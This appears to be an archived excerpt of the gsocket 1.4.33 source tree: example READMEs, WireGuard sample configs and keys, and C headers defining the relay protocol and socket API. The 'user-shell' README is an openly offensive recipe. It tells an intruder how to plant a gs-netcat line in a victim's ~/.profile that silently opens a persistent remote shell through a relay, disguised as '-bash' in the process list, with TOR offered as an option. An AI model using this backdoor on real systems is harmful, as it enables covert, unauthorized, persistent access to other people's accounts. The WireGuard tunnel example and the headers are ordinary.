gsocket-1.4.33/examples/user-shell/ 0000775 0000000 0000000 00000000000 14072625040 0017142 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/examples/user-shell/README.md 0000664 0000000 0000000 00000003146 14072625040 0020425 0 ustar 00root root 0000000 0000000 # Global Socket User Login Shell (auto-restarting)
**Connect to a firewalled host**
**Problem**
MALLORY gained access to ALICE but does not have superuser priviledges (root). MALLORY likes to access ALICE remotely. ALICE (and MALLORY) are on two different networks and behind a NAT/Firewall. Neither of them can reach the other.
**Objective**
Backdoor ALICE so that MALLORY can access ALICE remotely (without tampering with the firewall, NAT or router settings) and without superuser priviledges (root).
**Solution**
Start gs-netcat from ALICE's *~/.profile* and do so secretly and silently (without ALICE noticing).
On "ALICE" add the following line to the end of *~/.profile*. This will start the gs-netcat backdoor every time that ALICE logs in. The gs-netcat process is hidden as *-bash* and shows up as *-bash* in the process list.
```
killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s ExampleSecretChangeMe -liqD" SHELL=/bin/bash exec -a -bash gs-netcat)
```
Start the backdoor manually for testing. Thereafter the backdoor will start (and remain running) whenever ALICE logs in for the first time:
```ShellSession
alice@ALICE:~$ source ~/.profile
```
Now log in from "MALLORY" to "ALICE":
```ShellSession
m@MALLORY:~ $ gs-netcat -s ExampleSecretChangeMe -i
=Secret : "ExampleSecretChangeMe"
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
alice@ALICE:~$ id
uid=1001(alice) gid=1001(alice)
alice@ALICE:~$
```
There are other ways to start a backdoor. This is an example.
Many more gs-netcat options are available: For example *-T* to connect via TOR. See the manual page of gs-netcat.
gsocket-1.4.33/examples/wireguard/ 0000775 0000000 0000000 00000000000 14072625040 0017050 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/examples/wireguard/README.md 0000664 0000000 0000000 00000006440 14072625040 0020333 0 ustar 00root root 0000000 0000000 # Global Socket WireGuard Example
**Connect two firewalled hosts with wireGuard (Virtual Private Network)**
**Problem**
ALICE and BOB are on two different networks behind NAT/Firewall. Neither of them can reach the other. A WireGuard VPN can not be established (ALICE and BOB are both firewalled).
**Objective**
Create a WireGuard Virtual Private Network between ALICE and BOB (without tampering with the firewall, NAT or router settings).
**Solution**
Redirect the WireGuard traffic via the Global Socket Relay Network.
ALICE -> WireGuard -> Global Socket Relay Network -> WireGuard -> BOB
On workstation "ALICE":
```ShellSession
a@ALICE:~ $ wg-quick up ./wg0-server.conf
```
On workstation "BOB":
```ShellSession
b@BOB:~ $ wg-quick up ./wg0-client.conf
```
Test the WireGuard VPN:
```ShellSession
b@BOB:~ $ ping 10.37.0.1
PING 10.37.0.1 (10.37.0.1) 56(84) bytes of data.
64 bytes from 10.37.0.1: icmp_seq=1 ttl=64 time=46.96 ms
[...]
```
**Explanation**
Let's take a look at wg-server.conf (ALICE)
```Nginx
[Interface]
# Server
Address = 10.37.0.1/24
ListenPort = 51820
PrivateKey = 4E48vR7v8OUJO5OEYkOUUZmF55UOYVqo9l9w2eRS50k=
PostUp = sysctl -w net.ipv4.ip_forward=1
PreUp = gs-netcat -s ExampleSecretChangeMe -Culq -d 127.0.0.1 -p 51820 &
PostDOwn = killall -g gs-netcat
[Peer]
# Client #1
PublicKey = KRYz7Jsbu1pS6ALHLqCUqG4KsFh9GcK3II+3bFscYUU=
AllowedIPs = 10.37.0.2/32
```
This is a default WireGuard configuration file for a server. The only change is:
```Nginx
PreUp = gs-netcat -s ExampleSecretChangeMe -Culq -d 127.0.0.1 -p 51820 &
```
This starts a gs-netcat process and redirects any traffic from the Global Socket *ExampleSecretChangeMe* to the default WireGuard port (51820). *-u* specifies UDP protocol and *-q* to be quiet.
Let's take a look at wg-client.conf (BOB):
```Nginx
[Interface]
# client. ME
Address = 10.37.0.2/32
PrivateKey = SOnUcf+KuXIWXfhpZpHtTC097ihBNUXT2igp5IuJsWY=
# Make gs-netcat listen on UDP 31337
PreUp = gs-netcat -s ExampleSecretChangeMe -Cuq -p 31337 &
PostDown = killall -g gs-netcat
[Peer]
# server
Endpoint = 127.0.0.1:31337
PublicKey = gjBE/V1pGdIu7yTGWtZvObxIf9+ErH9aRP+jsBuiXC4=
AllowedIPs = 10.37.0.0/24
PersistentKeepalive = 25
```
The only change is:
```Nginx
PreUp = gs-netcat -s ExampleSecretChangeMe -Cuq -p 31337 &
[...]
EndPoint = 127.0.0.1:31337
```
The PreUp-line redirects any UDP traffic from port 31337 to the Global Socket *ExampleSecretChangeMe*. The new *Endpoint* instructs WireGuard to send all WireGuard traffic to the UDP port where gs-netcat is listening (31337). Any UDP traffic received by gs-netcat is forwarded (via the Global Socket Relay Network) to the other gs-netcat running on ALICE.
**Notes**
The gs-netcat secret *ExampleSecretChangeMe* is chosen at random but has to be identical on ALICE and BOB. This string is used by the Global Socket Relay Network to connect ALICE and BOB. Use *gs-netcat -g* to generate a new random string for your own use (do not use the example).
Create your own private/public WireGuard keys (do not use the example):
```ShellSession
$ wg genkey | tee server-privatekey | wg pubkey > server-publickey
$ wg genkey | tee client-privatekey | wg pubkey > client-publickey
```
Many more gs-netcat options are available: For example *-T* to connect WireGuard via TOR or *-L* for log-output. See the manual page for gs-netcat.
gsocket-1.4.33/examples/wireguard/client-privatekey 0000664 0000000 0000000 00000000055 14072625040 0022432 0 ustar 00root root 0000000 0000000 SOnUcf+KuXIWXfhpZpHtTC097ihBNUXT2igp5IuJsWY=
gsocket-1.4.33/examples/wireguard/client-publickey 0000664 0000000 0000000 00000000055 14072625040 0022236 0 ustar 00root root 0000000 0000000 KRYz7Jsbu1pS6ALHLqCUqG4KsFh9GcK3II+3bFscYUU=
gsocket-1.4.33/examples/wireguard/server-privatekey 0000664 0000000 0000000 00000000055 14072625040 0022462 0 ustar 00root root 0000000 0000000 4E48vR7v8OUJO5OEYkOUUZmF55UOYVqo9l9w2eRS50k=
gsocket-1.4.33/examples/wireguard/server-publickey 0000664 0000000 0000000 00000000055 14072625040 0022266 0 ustar 00root root 0000000 0000000 gjBE/V1pGdIu7yTGWtZvObxIf9+ErH9aRP+jsBuiXC4=
gsocket-1.4.33/examples/wireguard/wg0-client.conf 0000664 0000000 0000000 00000000601 14072625040 0021665 0 ustar 00root root 0000000 0000000 [Interface]
# client. ME
Address = 10.37.0.2/32
PrivateKey = SOnUcf+KuXIWXfhpZpHtTC097ihBNUXT2igp5IuJsWY=
# Make gs-netcat listen on UDP 31337
PreUp = gs-netcat -s AnyKindOfRandomString -Cu -p 31337 &
PostDown = killall -g gs-netcat
[Peer]
# server
Endpoint = 127.0.0.1:31337
PublicKey = gjBE/V1pGdIu7yTGWtZvObxIf9+ErH9aRP+jsBuiXC4=
AllowedIPs = 10.37.0.0/24
PersistentKeepalive = 25
gsocket-1.4.33/examples/wireguard/wg0-server.conf 0000664 0000000 0000000 00000000562 14072625040 0021723 0 ustar 00root root 0000000 0000000 [Interface]
# Server
Address = 10.37.0.1/24
ListenPort = 51820
PrivateKey = 4E48vR7v8OUJO5OEYkOUUZmF55UOYVqo9l9w2eRS50k=
PostUp = sysctl -w net.ipv4.ip_forward=1
PreUp = gs-netcat -s AnyKindOfRandomString -Cul -d 127.0.0.1 -p 51820 &
PostDOwn = killall -g gs-netcat
[Peer]
# Client #1
PublicKey = KRYz7Jsbu1pS6ALHLqCUqG4KsFh9GcK3II+3bFscYUU=
AllowedIPs = 10.37.0.2/32
gsocket-1.4.33/include/ 0000775 0000000 0000000 00000000000 14072625040 0014664 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/include/Makefile.am 0000775 0000000 0000000 00000000023 14072625040 0016716 0 ustar 00root root 0000000 0000000 SUBDIRS = gsocket
gsocket-1.4.33/include/gsocket/ 0000775 0000000 0000000 00000000000 14072625040 0016323 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/include/gsocket/Makefile.am 0000775 0000000 0000000 00000000135 14072625040 0020361 0 ustar 00root root 0000000 0000000 EXTRA_DIST = buf.h event.h gs-readline.h gs-select.h gsocket-ssl.h gsocket.h list.h packet.h
gsocket-1.4.33/include/gsocket/buf.h 0000664 0000000 0000000 00000001610 14072625040 0017246 0 ustar 00root root 0000000 0000000 #ifndef __GS_BUF_H__
#define __GS_BUF_H__ 1
typedef struct
{
void *data;
size_t sz_total;
size_t sz_used;
size_t sz_max_add;
} GS_BUF;
void GS_BUF_init(GS_BUF *gsb, size_t sz_min_free);
void GS_BUF_free(GS_BUF *gsb);
int GS_BUF_resize(GS_BUF *gsb, size_t sz_new);
int GS_BUF_add_length(GS_BUF *gsb, size_t len);
int GS_BUF_add_data(GS_BUF *gsb, void *data, size_t len);
int GS_BUF_printf(GS_BUF *gsb, const char *fmt, ...);
int GS_BUF_del(GS_BUF *gsb, size_t len);
int GS_BUF_memmove(GS_BUF *gsb, void *data, size_t len);
#define GS_BUF_empty(gsb) (gsb)->sz_used = 0;
#define GS_BUF_DATA(gsb) (gsb)->data
#define GS_BUF_IS_INIT(gsb) ((gsb)->sz_max_add!=0)
#define GS_BUF_UNUSED(gsb) ((gsb)->sz_total - (gsb)->sz_used)
#define GS_BUF_RSRC(gsb) (gsb)->data
#define GS_BUF_WDST(gsb) ((uint8_t *)(gsb)->data + (gsb)->sz_used)
#define GS_BUF_USED(gsb) (gsb)->sz_used
#endif /* !__GS_BUF_H__ */
gsocket-1.4.33/include/gsocket/event.h 0000664 0000000 0000000 00000001534 14072625040 0017620 0 ustar 00root root 0000000 0000000 #ifndef __GS_EVENT_H__
#define __GS_EVENT_H__ 1
typedef int (*gsevent_cb_t)(void *event);
typedef struct
{
void *mgr;
uint64_t interval;
uint64_t start;
uint64_t due;
GS_LIST_ITEM li;
void *data;
size_t len;
gsevent_cb_t func;
int is_calloc;
int id;
} GS_EVENT;
/*
* Keep track of all events under a context
*/
typedef struct
{
GS_LIST list_ts; // events by timestamp (usec)
int id_counter;
int is_return_to_caller;
} GS_EVENT_MGR;
int GS_EVENT_MGR_init(GS_EVENT_MGR *mgr);
GS_EVENT *GS_EVENT_add_by_ts(GS_EVENT_MGR *mgr, GS_EVENT *gsevent, uint64_t start, uint64_t interval, gsevent_cb_t func, void *data, size_t len);
int GS_EVENT_del(GS_EVENT *gsevent);
uint64_t GS_EVENT_usec_until_event(GS_EVENT_MGR *mgr);
uint64_t GS_EVENT_execute(GS_EVENT_MGR *mgr);
uint64_t GS_EVENT_execute_all(GS_EVENT_MGR *mgr);
#endif /* !__GS_EVENT_H__ */ gsocket-1.4.33/include/gsocket/gs-readline.h 0000664 0000000 0000000 00000002043 14072625040 0020665 0 ustar 00root root 0000000 0000000 #ifndef __GS_READLINE_H__
#define __GS_READLINE_H__ 1
#ifdef DEBUG
# define GS_RL_LINE_MAX (512)
// # define GS_RL_LINE_MAX (32)
#else
# define GS_RL_LINE_MAX (512)
#endif
#define GS_RL_VISIBLE_MAX (127)
#define GS_RL_ESC_MAX (GS_RL_LINE_MAX + 32) // including ESCs (color & position)
typedef struct
{
char line[GS_RL_LINE_MAX + 1]; // Full Length without ascii sequence
char vline[GS_RL_VISIBLE_MAX + 1]; // Might be shorted with '..' at the end
size_t pos; // pointing to next unused field in line.
size_t len; // Set when '\n' encountered
size_t visible_len;
size_t esc_len; // without 0-termianted string
char esc_data[GS_RL_ESC_MAX + 1];
size_t v_pos; // cursor x-position (col) relative to beginning of visible line
int col;
int row;
int is_need_redraw;
int is_in_esc;
} GS_RL_CTX;
int GS_RL_init(GS_RL_CTX *rl, int len_visible);
int GS_RL_add(GS_RL_CTX *rl, uint8_t c, uint8_t *key, int row, int col);
void GS_RL_reset(GS_RL_CTX *rl);
void GS_RL_resize(GS_RL_CTX *rl, int len, int row, int col);
#endif /* !__GS_READLINE_H__ */ gsocket-1.4.33/include/gsocket/gs-select.h 0000664 0000000 0000000 00000004607 14072625040 0020371 0 ustar 00root root 0000000 0000000
#ifndef __LIBGSOCKET_SELECT_H__
#define __LIBGSOCKET_SELECT_H__ 1
struct _gs_sel_item
{
int (*func)(void *ctx, int fd, void *cb_arg, int cb_val);
void *cb_arg;
int cb_val;
};
enum bfunc_state {GS_CALLREAD = 0x01, GS_CALLWRITE = 0x02};
typedef struct _gs_select_ctx
{
int max_fd;
fd_set *rfd;
fd_set *wfd;
fd_set *r;
fd_set *w;
struct timeval tv;
struct timeval *tv_now;
struct _gs_sel_item mgr_r[FD_SETSIZE];
struct _gs_sel_item mgr_w[FD_SETSIZE];
enum bfunc_state blocking_func[FD_SETSIZE];
int saved_rw_state[FD_SETSIZE]; /* 0 == not saved. 1 = READ, 2 = WRITE, 3 = R&W */
int is_rw_state_saved[FD_SETSIZE];
int want_io_write[FD_SETSIZE];
int want_io_read[FD_SETSIZE];
int rdata_pending[FD_SETSIZE];
int rdata_pending_count;
GS_EVENT_MGR emgr; // Event Manager (for Heartbeat)
GS_EVENT hb; // Heatbeat timeout; return control to caller
} GS_SELECT_CTX;
typedef int (*gselect_cb_t)(GS_SELECT_CTX *ctx, int fd, void *arg, int val);
int GS_SELECT_CTX_init(GS_SELECT_CTX *ctx, fd_set *rfd, fd_set *wfd, fd_set *r, fd_set *w, struct timeval *tv_now, int frequency);
int GS_select(GS_SELECT_CTX *ctx);
void GS_SELECT_add_cb_r(GS_SELECT_CTX *ctx, gselect_cb_t func, int fd, void *arg, int val);
void GS_SELECT_add_cb_w(GS_SELECT_CTX *ctx, gselect_cb_t func, int fd, void *arg, int val);
void GS_SELECT_add_cb(GS_SELECT_CTX *ctx, gselect_cb_t func_r, gselect_cb_t func_w, int fd, void *arg, int val);
void GS_SELECT_add_cb_callagain(GS_SELECT_CTX *ctx, gselect_cb_t func_r, gselect_cb_t func_w, int fd, void *arg, int val);
void GS_SELECT_del_cb(GS_SELECT_CTX *ctx, int fd);
void GS_SELECT_del_cb_callagain(GS_SELECT_CTX *ctx, int fd);
#define GS_SELECT_FD_CLR_R(ctx, fd) do { \
if ((ctx)->is_rw_state_saved[fd]) { ctx->saved_rw_state[fd] &= ~0x01; } \
FD_CLR(fd, (ctx)->rfd); \
} while (0)
#define GS_SELECT_FD_CLR_W(ctx, fd) do { \
if ((ctx)->is_rw_state_saved[fd]) { ctx->saved_rw_state[fd] &= ~0x02; } \
FD_CLR(fd, (ctx)->wfd); \
} while (0)
#define GS_SELECT_FD_SET_R(ctx, fd) do { \
if ((ctx)->is_rw_state_saved[fd]) { \
ctx->saved_rw_state[fd] |= 0x01; \
} else { \
XFD_SET(fd, (ctx)->rfd); \
} \
} while (0)
#define GS_SUCCESS (0x00)
#define GS_ECALLAGAIN (0x01) // Return Error Likes to be calleda gain
#define GS_ERR_WAITING -1 // Waiting for I/O
#define GS_ERR_FATAL -2 // must exit (?)
#define GS_ERR_EOF -3
#define GS_ERROR -4
#endif /* !__LIBGSOCKET_SELECT_H__ */
gsocket-1.4.33/include/gsocket/gsocket-ssl.h 0000664 0000000 0000000 00000000257 14072625040 0020736 0 ustar 00root root 0000000 0000000
#ifndef __LIBGSOCKET_SSL_H__
#define __LIBGSOCKET_SSL_H__ 1
/* The user can DELETE this file to build project without OpenSSL support */
#endif /* !__LIBGSOCKET_SSL_H__ */
gsocket-1.4.33/include/gsocket/gsocket.h 0000664 0000000 0000000 00000034547 14072625040 0020150 0 ustar 00root root 0000000 0000000
#ifndef __LIBGSOCKET_H__
#define __LIBGSOCKET_H__ 1
#if 0
#if defined __has_include
# if __has_include ()
# define HAS_OPENSSL_SRP 1
# endif
# if __has_include ("gsocket-ssl.h")
# define HAS_GSOCKET_SSL 1
# endif
# if __has_include ()
# define HAS_GSOCKET_SSL 1
# endif
#endif
/* The user can delete gsocket-ssl.h to build his project without OpenSSL */
#ifdef HAS_OPENSSL_SRP
# ifdef HAS_GSOCKET_SSL
# define WITH_GSOCKET_SSL 1
# endif
#endif
#endif
#define WITH_GSOCKET_SSL 1
#ifndef GS_MAX
# define GS_MAX(X, Y) (((X) < (Y)) ? (Y) : (X))
#endif
#ifndef GS_MIN
# define GS_MIN(X, Y) (((X) < (Y)) ? (X) : (Y))
#endif
#define GS_ADDR_SIZE (16) /* 128 bit */
#define GS_MAX_SOX_BACKLOG (5) /* Relevant for GS_listen() only */
#define GS_TOKEN_SIZE (16) /* 128 bit */
#define GS_TV_TO_USEC(tv) ((uint64_t)(tv)->tv_sec * 1000000 + (tv)->tv_usec)
#define GS_TV_TO_MSEC(tv) ((uint64_t)(tv)->tv_sec * 1000 + (tv)->tv_usec/1000)
#define GS_TV_DIFF(tv_a, tv_b) (GS_TV_TO_USEC(tv_b) - GS_TV_TO_USEC(tv_a))
#define GS_SEC_TO_USEC(sec) ((uint64_t)(sec) * 1000000)
#define GS_MSEC_TO_USEC(ms) ((uint64_t)(ms) * 1000)
#define GS_USEC_TO_SEC(usec) ((usec) / 1000000)
#define GS_USEC_TO_MSEC(usec) ((usec) / 1000)
#define GS_USEC_TO_TV(tv, usec) do { (tv)->tv_sec = (usec) / 1000000; (tv)->tv_usec = (usec) % 1000000; } while(0)
#define GS_SECRET_MAX_LEN (256 / 8) /* max length in bytes */
#define GS_DFL_CIPHER "SRP-AES-256-CBC-SHA"
#define GS_DFL_CIPHER_STRENGTH "4096"
#define GS_LOG_INFO_MSG_SIZE (1024)
#define GS_LOG_TYPE_NORMAL (0) // A non-error is reported by the library
#define GS_LOG_TYPE_ERROR (1) // An error is reported by the library
#define GS_LOG_TYPE_DEBUG (5)
#define GS_LOG_LEVEL_NONE (0)
#define GS_LOG_LEVEL_VERBOSE (1) // -v
#define GS_LOG_LEVEL_MOREVERB (2) // -vv
#define GS_LOG_LEVEL_INSANE (3) // -vvv
#define GS_LOG(a...) do { GS_log(GS_LOG_TYPE_NORMAL, GS_LOG_LEVEL_NONE, a); } while(0)
#define GS_LOG_V(a...) do { GS_log(GS_LOG_TYPE_NORMAL, GS_LOG_LEVEL_VERBOSE, a); } while(0)
#define GS_LOG_VV(a...) do { GS_log(GS_LOG_TYPE_NORMAL, GS_LOG_LEVEL_MOREVERB, a); } while(0)
#define GS_LOG_VVV(a...) do { GS_log(GS_LOG_TYPE_NORMAL, GS_LOG_LEVEL_INSANE, a); } while(0)
#define GS_LOG_ERR(a...) do { GS_log(GS_LOG_TYPE_ERROR, GS_LOG_LEVEL_NONE, a); } while(0)
#include
#include
#include
#include
#include
#include
#define GSRN_DEFAULT_PORT 7350
#define GSRN_DEFAULT_PORT_SSL 443
#define GSRN_DEFAULT_PORT_CON 7351
#define GSRN_DEFAULT_PING_INTERVAL (60 * 2)
/* ###########################
* ### PROTOCOL DEFINITION ###
* ###########################
*/
// _gs_hdr_con is identical for _gs_listen and _gs_connect
struct _gs_hdr_lc
{
uint8_t type;
uint8_t version_major;
uint8_t version_minor;
uint8_t flags;
uint8_t reserved2[28];
uint8_t addr[GS_ADDR_SIZE]; // 16 bytes
};
/* First message from Listening Client (LC) to GS-Network (GN) [server]
* LC2GN: Register a GS-Address for listening.
*/
struct _gs_listen /* 128 bytes */
{
union {
struct _gs_hdr_lc hdr;
struct
{
uint8_t type;
uint8_t version_major;
uint8_t version_minor;
uint8_t flags;
uint8_t reserved1[4];
uint8_t reserved2[8];
uint8_t token[GS_TOKEN_SIZE]; // 16 bytes
uint8_t addr[GS_ADDR_SIZE];
};
};
uint8_t reserved3[16];
uint8_t reserved4[64];
};
/*
* First message from Connecting Client (CC) to GS-Network (GN) [server]
* CC2GN: Connect a listening GS-Address.
* CC awaiting _gs_start from GN.
*/
struct _gs_connect
{
union {
struct _gs_hdr_lc hdr;
struct
{
uint8_t type;
uint8_t version_major;
uint8_t version_minor;
uint8_t flags;
uint8_t reserved1[4];
uint8_t reserved2[8];
uint8_t token_NOTUSED[GS_TOKEN_SIZE]; // 16 bytes
uint8_t addr[GS_ADDR_SIZE]; // 16 bytes
};
};
uint8_t reserved3[16];
uint8_t reserved4[64];
};
#define GS_PKT_PROTO_VERSION_MAJOR (1)
#define GS_PKT_PROTO_VERSION_MINOR (3)
// Wait for server to become available (-w option)
#define GS_FL_PROTO_WAIT (0x01)
// Allow client to become a server if server does not exist (-A option).
#define GS_FL_PROTO_CLIENT_OR_SERVER (0x02)
// Perform a fast-connect. Do not wait for GSRN to send '_gs_start'.
// Data sent aftet '_gs_connect' is app-data (SSL SRP in most cases).
// FAST_CONNECT is incompatible with 0x01 and 0x02.
#define GS_FL_PROTO_FAST_CONNECT (0x04)
// Inform GSRN that client prefers low-latency (interactive shell)
#define GS_FL_PROTO_LOW_LATENCY (0x08)
/*
* all2GN
*/
struct _gs_ping
{
uint8_t type;
uint8_t reserved[3];
uint8_t payload[28];
};
// #define GS_PKT_PING_PAYLOAD_SIZE (28)
/*
* GN2all
*/
struct _gs_pong
{
uint8_t type;
uint8_t reserved[3];
uint8_t payload[28];
};
/* GN2all: New incoming connection.
* GN must not send any further GS messages.
*/
struct _gs_start
{
uint8_t type;
uint8_t flags;
uint8_t reserved[2];
uint8_t reserved2[28];
};
#define GS_FL_PROTO_START_SERVER (0x01) /* Act as a Server [ssl] */
#define GS_FL_PROTO_START_CLIENT (0x02) /* Act as a Client [ssl] */
/* GN2all: Status (error)
*/
struct _gs_status
{
uint8_t type;
uint8_t err_type;
uint8_t code;
uint8_t reserved[1];
uint8_t msg[28];
};
/* err_type */
#define GS_STATUS_TYPE_WARN (0x01)
#define GS_STATUS_TYPE_FATAL (0x02) // Must exit.
#define GS_STATUS_CODE_BAD_AUTH (0x01) // Auth Token mismatch
#define GS_STATUS_CODE_CONNREFUSED (0x02) // No server listening
#define GS_STATUS_CODE_IDLE_TIMEOUT (0x03) // Timeout
#define GS_STATUS_CODE_CONNDENIED (0x04) // Connection denied
#define GS_STATUS_CODE_PROTOERROR (0x05) // Protocol error
#define GS_STATUS_CODE_NEEDUPDATE (0x2A) // oct=42; Needs updating of client.
/*
* all2GN: Accepting incoming connection.
* LC/CC must not send any further GS messages.
*/
struct _gs_accept
{
uint8_t type;
uint8_t reserved[3];
uint8_t reserved2[28];
};
#define GS_PKT_TYPE_LISTEN (0x01) // LC2GN
#define GS_PKT_TYPE_CONNECT (0x02) // CC2GN
#define GS_PKT_TYPE_PING (0x03) // all2GN
#define GS_PKT_TYPE_PONG (0x04) // GN2all
#define GS_PKT_TYPE_START (0x05) // GN2all
#define GS_PKT_TYPE_ACCEPT (0x06) // all2GN
#define GS_PKT_TYPE_STATUS (0x07) // GN2all
#define GS_MAX_MSG_LEN GS_MAX(sizeof (struct _gs_listen), GS_MAX(sizeof (struct _gs_ping), GS_MAX(sizeof (struct _gs_pong), sizeof (struct _gs_start))))
enum gs_ctx_flags_t {GS_CTX_FL_RFD_INTERNAL};
enum gs_flags_t {
GS_FL_TCP_CONNECTED = 0x01, // App TCP sockets are connected
GSC_FL_NONBLOCKING = 0x02, // Do not Block on socket IO
GS_FL_CALLED_NET_CONNECT = 0x04, // GS_connect() already called GS_FL_CALLED_NET_CONNECT
GS_FL_IS_CLIENT = 0x08,
GS_FL_CALLED_NET_NEW_SOCKET = 0x10,
GSC_FL_USE_SRP = 0x20,
GSC_FL_CLIENT_OR_SERVER = 0x40,
GS_FL_IS_SERVER = 0x80, // A GS-CLient (the first connected) is an SRP-Server
GS_FL_AUTO_RECONNECT = 0x100, // GS_accept() to reconnect on GS-NET errors
GS_FL_SINGLE_SHOT = 0x200 // single GS_listen(). (for stdin/stdout)
};
/*
* - GS-Network host/port
* - Handle TCP sockets (non-blocking)
*/
typedef struct
{
int max_sox;
fd_set *rfd;
fd_set *wfd;
fd_set *r;
fd_set *w;
int gsocket_success_count; /* Successfull connection counter */
GS_SELECT_CTX *gselect_ctx;
/* Listening CB and values */
gselect_cb_t func_listen;
int cb_val_listen;
struct timeval *tv_now;
char err_buf[1024];
char err_buf2[1024];
enum gs_ctx_flags_t flags; // CTX specific flags
enum gs_flags_t gs_flags; // GS specific flags. Copied to GS on creation.
uint32_t flags_proto;
uint32_t socks_ip; // NBO. Use Socks5
uint16_t socks_port; // Socks5
uint16_t gs_port; // 7350 or GSOCKET_PORT
} GS_CTX;
enum sox_state_t {
GS_STATE_SYS_NONE, // We are idle...
GS_STATE_SYS_CONNECT, // need call to 'connect()' _again_.
GS_STATE_SYS_RECONNECT, // Re-connecting to GS-NET
GS_STATE_PKT_LISTEN, // listen_write() did not complete
GS_STATE_PKT_PING, // ping_write() did not complete
GS_STATE_APP_CONNECTED, // Application is connected. Passingthrough of data (no pkt any longer)
GS_STATE_PKT_CONNECT,
GS_STATE_PKT_ACCEPT,
GS_STATE_SOCKS // TOR
};
enum sox_flags_t {
GS_SOX_FL_AWAITING_PONG, // Waiting for PONG
GS_SOX_FL_AWAITING_SOCKS, // Waiting for Socks5 (TOR) reply
GS_SOX_FL_WARN_SLOWCONNECT // ==1 if warning about connect() being slow has been issued
};
/* TCP network address may depend on GS_ADDR (load balancing) */
struct gs_sox
{
int fd;
enum sox_state_t state;
enum sox_flags_t flags;
uint8_t rbuf[GS_MAX_MSG_LEN];
size_t rlen;
uint8_t wbuf[GS_MAX_MSG_LEN];
size_t wlen;
struct timeval tv_last_data; /* For KeepAlive */
};
struct gs_net
{
uint16_t port; /* NBO */
uint32_t addr; /* IPv4, NBO */
int conn_count;
struct gs_sox sox[GS_MAX_SOX_BACKLOG];
int n_sox; /* Number of sox[n] entries */
int fd_accepted;
char *hostname; /* xxx.gs.thc.org */
uint64_t tv_connect; // Time connect() was called
uint64_t tv_gs_hton; // Time hostname was resolved last.
int is_connect_error_warned; // 'Re-connecting...' warning issued
};
#define GS_SRP_PASSWORD_LENGTH (32)
typedef struct
{
uint8_t addr[GS_ADDR_SIZE];
char srp_password[GS_SRP_PASSWORD_LENGTH + 1];
} GS_ADDR;
#ifdef WITH_GSOCKET_SSL
enum ssl_state_t {
GS_SSL_STATE_ACCEPT, /* Call SSL_accpet() again */
GS_SSL_STATE_CONNECT, /* Call SSL_connect() again */
GS_SSL_STATE_RW, /* Call SSL_read/SSL_write again */
GS_SSL_STATE_SHUTDOWN /* Call SSL_shutdown() again */
};
#endif
enum gs_rw_state_t {
GS_CAN_READ = 0x01,
GS_CAN_WRITE = 0x02,
GS_CAN_RW = 0x03
};
/*
* A specific GS connection with a single GSOCKET-ID.
* There can be multiple connection per GSOCKET-ID (eventually).
*/
typedef struct
{
GS_CTX *ctx;
GS_ADDR gs_addr;
enum gs_flags_t flags;
int id; /* ID of this gsocket. Set AFTER conn success */
struct gs_net net; /* fd's for listening tcp_fd */
int fd; /* Only set if this is a 'connected' tcp_fd (not listening socket) */
int64_t bytes_read;
int64_t bytes_written;
uint64_t ts_net_io; // TimeStamp network I/O
struct timeval tv_connected; /* TV when GS entered CONNECTED state */
int read_pending;
int write_pending;
int is_sent_shutdown;
int is_want_shutdown; /* Call GS_shutdown() after SRP completion */
uint8_t token[GS_TOKEN_SIZE];
int eof_count; /* How many EOF received (needed for ssl compat) */
int status_code;
#ifdef WITH_GSOCKET_SSL
SSL_CTX *ssl_ctx;
SRP_VBASE *srpData; /* Verifier is identical 4 all conns on same GS */
SSL *ssl;
enum ssl_state_t ssl_state;
char srp_sec[128]; /* SRP Secret */
int ssl_shutdown_count; // Calls to gs_ssl_close
#endif
} GS;
struct _gs_log_info
{
int level; // verbosity level
int type; // GS_LOG_TYPE_DEBUG or GS_LOG_TYPE_NORMAL
char *msg; // log message
};
typedef void (*gs_cb_log_t)(struct _gs_log_info *l);
/* #####################################
* ### GSOCKET FUNCTION DECLARATIONS ###
* #####################################
*/
void GS_library_init(FILE *err_fp, FILE *dout_fp, gs_cb_log_t func_log);
int GS_CTX_init(GS_CTX *, fd_set *rfd, fd_set *wfd, fd_set *r, fd_set *w, struct timeval *tv_now);
void GS_CTX_use_gselect(GS_CTX *ctx, GS_SELECT_CTX *gselect_ctx);
int GS_CTX_free(GS_CTX *);
GS *GS_new(GS_CTX *ctx, GS_ADDR *addr); /* Connect to GS-Network */
const char *GS_CTX_strerror(GS_CTX *gs_ctx);
const char *GS_strerror(GS *gsocket);
int GS_connect(GS *gsocket); /* Fail if no such GS-ID is listening */
int GS_get_fd(GS *gsocket);
int GS_listen(GS *gsocket, int backlog); /* Listen for an incoming GS connection */
void GS_listen_add_gs_select(GS *gs, GS_SELECT_CTX *ctx, gselect_cb_t func, void *arg, int val);
GS *GS_accept(GS *gsocket, int *error); /* Wait until client connects by GS-ID and return Unix fileno */
int GS_close(GS *gsocket); /* close() and free() a connected GS */
int GS_shutdown(GS *gsocket);
void GS_heartbeat(GS *gsocket);
void GS_set_token(GS *gsocket, const void *buf, size_t num);
/* Logging */
char *GS_usecstr(char *dst, size_t len, uint64_t usec);
char *GS_bytesstr(char *dst, size_t len, int64_t bytes);
char *GS_bytesstr_long(char *dst, size_t len, int64_t bytes);
const char *GS_logtime(void);
void GS_log(int type, int level, char *fmt, ...);
char *GS_bin2hex(char *dst, size_t dsz, const void *src, size_t sz);
char *GS_bin2HEX(char *dst, size_t dsz, const void *src, size_t sz);
char *GS_bin2b58(char *b58, size_t *b58sz, uint8_t *src, size_t binsz);
char *GS_addr2hex(char *dst, const void *src);
char *GS_token2hex(char *dst, const void *src);
int GS_CTX_setsockopt(GS_CTX *ctx, int level, const void *opt_value, size_t opt_len);
#define GS_OPT_SOCKWAIT (0x02)
#define GS_OPT_BLOCK (0x04) /* Blocking TCP */
#define GS_OPT_NO_ENCRYPTION (0x08)
#define GS_OPT_CLIENT_OR_SERVER (0x10) /* Whoever connects first acts as a Server */
#define GS_OPT_USE_SOCKS (0x20) // Use TOR (Socks5)
#define GS_OPT_SINGLESHOT (0x40)
#define GS_OPT_LOW_LATENCY (0x80)
ssize_t GS_write(GS *gsocket, const void *buf, size_t num);
ssize_t GS_read(GS *gsocket, void *buf, size_t num);
GS_ADDR *GS_ADDR_sec2addr(GS_ADDR *addr, const char *gs_secret);
